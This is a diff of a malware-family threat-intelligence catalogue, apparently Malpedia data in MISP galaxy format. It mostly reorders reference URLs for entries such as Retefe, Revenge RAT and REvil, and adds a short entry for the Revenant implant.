"https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html" ], "synonyms": [ "WINDSHIELD" @@ -39148,8 +41208,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup", - "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/", - "https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/" + "https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/" ], "synonyms": [], "type": [] @@ -39162,14 +41222,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe", - "https://github.com/Tomasuh/retefe-unpacker", - "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/", - "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", - "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", - "https://www.govcert.admin.ch/blog/35/reversing-retefe", "https://github.com/cocaman/retefe", + "https://github.com/Tomasuh/retefe-unpacker", "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe" + "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/", + "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", + "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", + "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", + "https://www.govcert.admin.ch/blog/35/reversing-retefe" ], "synonyms": [ "Tsukuba", @@ -39185,10 +41245,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://blog.360totalsecurity.com/en/analysis-cve-2018-8174-vbscript-0day-apt-actor-related-office-targeted-attack/", - "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" ], "synonyms": [], "type": [] @@ -39196,32 +41256,45 @@ "uuid": "a4dc538e-09b7-4dba-99b0-e8b8b70dd42a", "value": "Retro" }, + { + "description": "According to its author, Revenant is a 3rd party agent for Havoc written in C, and based on Talon. This implant is meant to expand on the Talon implant by implementing covert methods of execution, robust capabilities, and more customization.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant", + "https://github.com/0xTriboulet/Revenant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c95db5a7-8405-4931-868f-1a33ea7e8f6b", + "value": "Revenant" + }, { "description": "According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat", - "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", - "https://isc.sans.edu/diary/rss/22590", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/", - "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://securelist.com/revengehotels/95229/", - "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", - "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", - "https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/", - "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", - "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://isc.sans.edu/diary/rss/22590", "https://blogs.360.cn/post/APT-C-44.html", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/", "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", "https://blog.reversinglabs.com/blog/dotnet-loaders", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html" + "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://securelist.com/revengehotels/95229/", + "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", + "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", + "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/" ], "synonyms": [ "Revetrat" @@ -39236,11 +41309,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/", + "https://threatmon.io/apt-sidecopy-targeting-indian-government-entities/", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/", - "https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf" + 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"https://twitter.com/R3MRUM/status/1412064882623713283", - "https://vimeo.com/449849549", - "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", - "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", - "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", - "https://blog.group-ib.com/REvil_RaaS", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", - "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", - "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", - 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"https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", - "https://isc.sans.edu/diary/27012", - "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", - "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", - "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-southfield", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.bbc.com/news/technology-59297187", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", - "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", - "https://www.kpn.com/security-blogs/Tracking-REvil.htm", - "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", - "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", - "https://asec.ahnlab.com/ko/19640/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://redcanary.com/blog/uncompromised-kaseya/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.grahamcluley.com/travelex-paid-ransom/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", - "https://threatpost.com/ransomware-revil-sites-disappears/167745/", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", - "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", - "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", - "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", - "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", - "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", - "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", - "https://twitter.com/fwosar/status/1420119812815138824", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", - "https://twitter.com/fwosar/status/1411281334870368260", - "http://www.secureworks.com/research/threat-profiles/gold-southfield", - "https://asec.ahnlab.com/ko/19860/", - "https://twitter.com/Jacob_Pimental/status/1391055792774729728", - "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", - "https://www.cyjax.com/2021/07/09/revilevolution/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", - "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://twitter.com/SophosLabs/status/1412056467201462276", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", - "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "https://twitter.com/VK_Intel/status/1374571480370061312?s=20", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", + "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", + "https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/", + "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", + "https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html", + "https://asec.ahnlab.com/ko/19640/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", + "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", + "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/", + "https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html", + "https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422", + "https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", + "https://www.netskope.com/blog/netskope-threat-coverage-revil", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/", + "http://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", + "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", + "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", + "https://www.bbc.com/news/technology-59297187", + "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://twitter.com/Jacob_Pimental/status/1391055792774729728", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/", + "https://www.youtube.com/watch?v=l2P5CMH9TE0", + "https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", + "https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", + "https://home.treasury.gov/news/press-releases/jy0471", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", + "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + "https://twitter.com/VK_Intel/status/1411066870350942213", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", + "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://cocomelonc.github.io/malware/2023/02/02/malware-analysis-7.html", + "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", + "https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent", + "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", + "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.cyjax.com/2021/07/09/revilevolution/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", + "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", + "https://threatpost.com/ransomware-revil-sites-disappears/167745/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/ransomware-world-in-2021/102169/", + "https://twitter.com/SyscallE/status/1411074271875670022", + "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", + "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", + "https://twitter.com/fwosar/status/1411281334870368260", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", + "https://www.kpn.com/security-blogs/Tracking-REvil.htm", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", + "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.youtube.com/watch?v=P8o6GItci5w", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", + "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", + "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", + "https://www.secureworks.com/research/lv-ransomware", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "https://twitter.com/fwosar/status/1420119812815138824", + "https://hatching.io/blog/ransomware-part2", + "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", + "https://vimeo.com/449849549", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", + 